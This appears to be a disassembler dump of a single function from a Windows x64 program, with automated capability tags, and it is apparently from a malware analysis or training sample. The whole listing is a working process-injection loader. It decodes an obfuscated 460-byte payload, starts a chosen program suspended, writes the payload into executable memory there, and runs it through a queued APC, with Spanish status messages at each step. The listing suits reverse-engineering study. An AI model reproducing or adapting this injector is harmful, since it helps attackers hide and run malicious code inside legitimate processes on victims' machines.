Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
mov rbx, rdx
cmp ecx, 2
je 0x1400010b6
mov eax, 1
jmp 0x140001724
mov dword [rsp + 0x50], 0x62f240ad
mov dword [rsp + 0x54], 0xb2873ccb
mov dword [rsp + 0x58], 0x9e049829
mov dword [rsp + 0x5c], 0x128d74f6
mov dword [rsp + 0x60], 0xdac45057
mov dword [rsp + 0x64], 0x22aa0c22
mov dword [rsp + 0x68], 0xa0ad8f9
mov dword [rsp + 0x6c], 0x226a740b
mov dword [rsp + 0x70], 0xfacaa091
mov dword [rsp + 0x74], 0xea065c8b
mov dword [rsp + 0x78], 0xfe487c03
mov dword [rsp + 0x7c], 0x427c841e
mov dword [rbp - 0x80], 0x82b4588d
mov dword [rbp - 0x7c], 0xa379471
mov dword [rbp - 0x78], 0x4e28c280
mov dword [rbp - 0x74], 0xe24d8af6
mov dword [rbp - 0x70], 0xd2c45243
mov dword [rbp - 0x6c], 0x2a671804
mov dword [rbp - 0x68], 0x9e6bd0db
mov dword [rbp - 0x64], 0x21f3653
mov dword [rbp - 0x60], 0x926be041
mov dword [rbp - 0x5c], 0x1a033c42
mov dword [rbp - 0x58], 0xd2d312a1
mov dword [rbp - 0x54], 0x62d7b454
mov dword [rbp - 0x50], 0xf63bf0da
mov dword [rbp - 0x4c], 0x82926c56
mov dword [rbp - 0x48], 0x7e9c5e11
mov dword [rbp - 0x44], 0x42371c74
mov dword [rbp - 0x40], 0x66f8cc70
mov dword [rbp - 0x3c], 0x52cc2cbe
mov dword [rbp - 0x38], 0xaea49245
mov dword [rbp - 0x34], 0xa2ec8aea
mov dword [rbp - 0x30], 0xb63090e9
mov dword [rbp - 0x2c], 0x92dbb66f
mov dword [rbp - 0x28], 0x1e0c7af1
mov dword [rbp - 0x24], 0x42e744f2
mov dword [rbp - 0x20], 0x66d7a05a
mov dword [rbp - 0x1c], 0x6a019c16
mov dword [rbp - 0x18], 0x629b401a
mov dword [rbp - 0x14], 0xc213e4d4
mov dword [rbp - 0x10], 0x7ef4d090
mov dword [rbp - 0xc], 0x5a1f5ca7
mov dword [rbp - 8], 0xbe9b12b9
mov dword [rbp - 4], 0xa254881b
mov dword [rbp], 0x86d4d0b0
mov dword [rbp + 4], 0x1acf3856
mov dword [rbp + 8], 0xcaa488c5
mov dword [rbp + 0xc], 0x62f78490
mov dword [rbp + 0x10], 0x1ed3a488
mov dword [rbp + 0x14], 0xa9e3ab1
mov dword [rbp + 0x18], 0xbe589ece
mov dword [rbp + 0x1c], 0x22e2ce7d
mov dword [rbp + 0x20], 0x32b196ce
mov dword [rbp + 0x24], 0xeaf1ea2b
mov dword [rbp + 0x28], 0xae5b44c8
mov dword [rbp + 0x2c], 0xe2ace467
mov dword [rbp + 0x30], 0x68c4231
mov dword [rbp + 0x34], 0x7215e47e
mov dword [rbp + 0x38], 0xa29776e0
mov dword [rbp + 0x3c], 0x824cbce1
mov dword [rbp + 0x40], 0x4277c2b8
mov dword [rbp + 0x44], 0xe2dccafe
mov dword [rbp + 0x48], 0x16758e65
mov dword [rbp + 0x4c], 0x22a3b210
mov dword [rbp + 0x50], 0xf67400bb
mov dword [rbp + 0x54], 0xbac4acdb
mov dword [rbp + 0x58], 0x56530233
mov dword [rbp + 0x5c], 0x258de03
mov dword [rbp + 0x60], 0xe6c48a71
mov dword [rbp + 0x64], 0x52f7ca6a
mov dword [rbp + 0x68], 0x8e1be88e
mov dword [rbp + 0x6c], 0x629674c9
mov dword [rbp + 0x70], 0x5674c2b9
mov dword [rbp + 0x74], 0x2a062819
mov dword [rbp + 0x78], 0x72c0dea9
mov dword [rbp + 0x7c], 0x4275ae5e
mov dword [rbp + 0x80], 0x46af50b0
mov dword [rbp + 0x84], 0x4ad4ecd1
mov dword [rbp + 0x88], 0xdecc0c00
mov dword [rbp + 0x8c], 0xe216ca2f
mov dword [rbp + 0x90], 0xf2c7d2d9
mov dword [rbp + 0x94], 0xba07ece1
mov dword [rbp + 0x98], 0xe2e8a6c1
mov dword [rbp + 0x9c], 0x829f1443
mov dword [rbp + 0xa0], 0x467bd241
mov dword [rbp + 0xa4], 0xa2144cbb
mov dword [rbp + 0xa8], 0x5eee0ea6
mov dword [rbp + 0xac], 0x8225a4a6
mov dword [rbp + 0xb0], 0xbaab52c8
mov dword [rbp + 0xb4], 0xd20e407f
mov dword [rbp + 0xb8], 0x7e84808d
mov dword [rbp + 0xbc], 0x82bb620b
mov dword [rbp + 0xc0], 0x928b2c19
mov dword [rbp + 0xc4], 0xc2213ab3
mov dword [rbp + 0xc8], 0x8ef392a9
mov dword [rbp + 0xcc], 0xa23f8ac3
mov dword [rbp + 0xd0], 0xb2b4d0ae
mov dword [rbp + 0xd4], 0x5a7f4efe
mov dword [rbp + 0xd8], 0x7e1712e8
mov dword [rbp + 0xdc], 0x12a54a76
mov dword [rbp + 0xe0], 0x7e8dce0d
mov dword [rbp + 0xe4], 0x220c8c52
mov dword [rbp + 0xe8], 0x4621be61
mov dword [rbp + 0xec], 0x62350abd
mov dword [rbp + 0xf0], 0x2e3b6a56
mov dword [rbp + 0xf4], 0xba17e652
mov dword [rbp + 0xf8], 0x4a4414db
mov dword [rbp + 0xfc], 0x7230b2e5
mov dword [rbp + 0x100], 0x8e63baee
mov dword [rbp + 0x104], 0x429b2cf7
mov dword [rbp + 0x108], 0x26a3acf5
mov dword [rbp + 0x10c], 0xe268f213
mov dword [rbp + 0x110], 0x8ee17616
mov dword [rbp + 0x114], 0xfa446ca9
mov dword [rbp + 0x118], 0x6e26bc68
mov edx, 0x1cc
lea rcx, str.___Tamao_del_cdigo_es_mayor_que_cero:__zu_n
call fcn.140001010
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], rax
lea rcx, str.___La_estructura_STARTUPINFOA_fue_inicializada_correctamente._n
call fcn.140001010
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rax
lea rcx, str.___La_estructura_PROCESS_INFORMATION_fue_inicializada_correctamente._n
call fcn.140001010
lea rax, [rbp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x40], rax
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001716
lea rcx, str.___Proceso_suspendido_creado_exitosamente._n
call fcn.140001010
mov rsi, qword [rbp + 0x120]
test rsi, rsi
je 0x14000170d
lea rcx, str.___El_handle_del_proceso_es_vlido._n
call fcn.140001010
mov rdi, qword [rbp + 0x128]
test rdi, rdi
je 0x140001704
lea rcx, str.___El_handle_del_hilo_es_vlido._n
call fcn.140001010
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
mov r8d, 0x1cc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1400016fb
lea rcx, str.___Memoria_asignada_en_el_proceso_remoto._n
call fcn.140001010
lea rcx, str.___La_rutina_APC_fue_asignada_correctamente._n
call fcn.140001010
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], 8
mov qword [rbp + 0x150], 0xf
movabs rax, 0x32336d6574737973
mov qword [rbp + 0x138], rax
mov byte [rbp + 0x140], r15b
mov r8d, 1
nop
mov r9, r8
movzx eax, byte [rsp + r8 + 0x4f]
xor eax, 0x22
and eax, 0x800000ff
jge 0x1400015fc
dec eax
or eax, 0xffffff00
inc eax
movzx eax, al
xor edx, edx
div r8
lea rcx, [r8 - 1]
and ecx, 7
xor al, byte [rbp + rcx + 0x138]
mov byte [rbp + r8 + 0x1cf], al
inc r8
cmp r9, 0x1cc
jb 0x1400015e0
mov edx, 0x1cc
lea rcx, [0x140003498]
call fcn.140001010
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400017b0
mov rbx, r15
nop word [rax + rax]
movzx edx, byte [rbp + rbx + 0x1d0]
lea rcx, str.x_02x
call fcn.140001010
inc rbx
cmp rbx, 0x1cc
jb 0x140001650
lea rdx, [0x140001970]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], r15
mov r9d, 0x1cc
lea r8, [rbp + 0x1d0]
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400016ec
lea rcx, str.___Cdigo_escrito_en_la_memoria_del_proceso_remoto._n
call fcn.140001010
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
test eax, eax
je 0x1400016e3
lea rcx, str.___APC_encolada_exitosamente._n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
lea rcx, str.___Hilo_resumido._Has_ganado._n
jmp 0x1400016f3
lea rcx, str.____Error_al_encolar_la_APC._n
jmp 0x1400016f3
lea rcx, str.____Error_al_escribir_en_la_memoria_del_proceso_remoto._n
call fcn.140001010
nop
jmp 0x140001722
lea rcx, str.____Error_al_asignar_memoria_en_el_proceso_remoto._n
jmp 0x14000171d
lea rcx, str.____El_handle_del_hilo_no_es_vlido._n
jmp 0x14000171d
lea rcx, str.____El_handle_del_proceso_no_es_vlido._n
jmp 0x14000171d
lea rcx, str.____Error_al_crear_el_proceso_suspendido._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.140001a30
lea r11, [rsp + 0x6e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret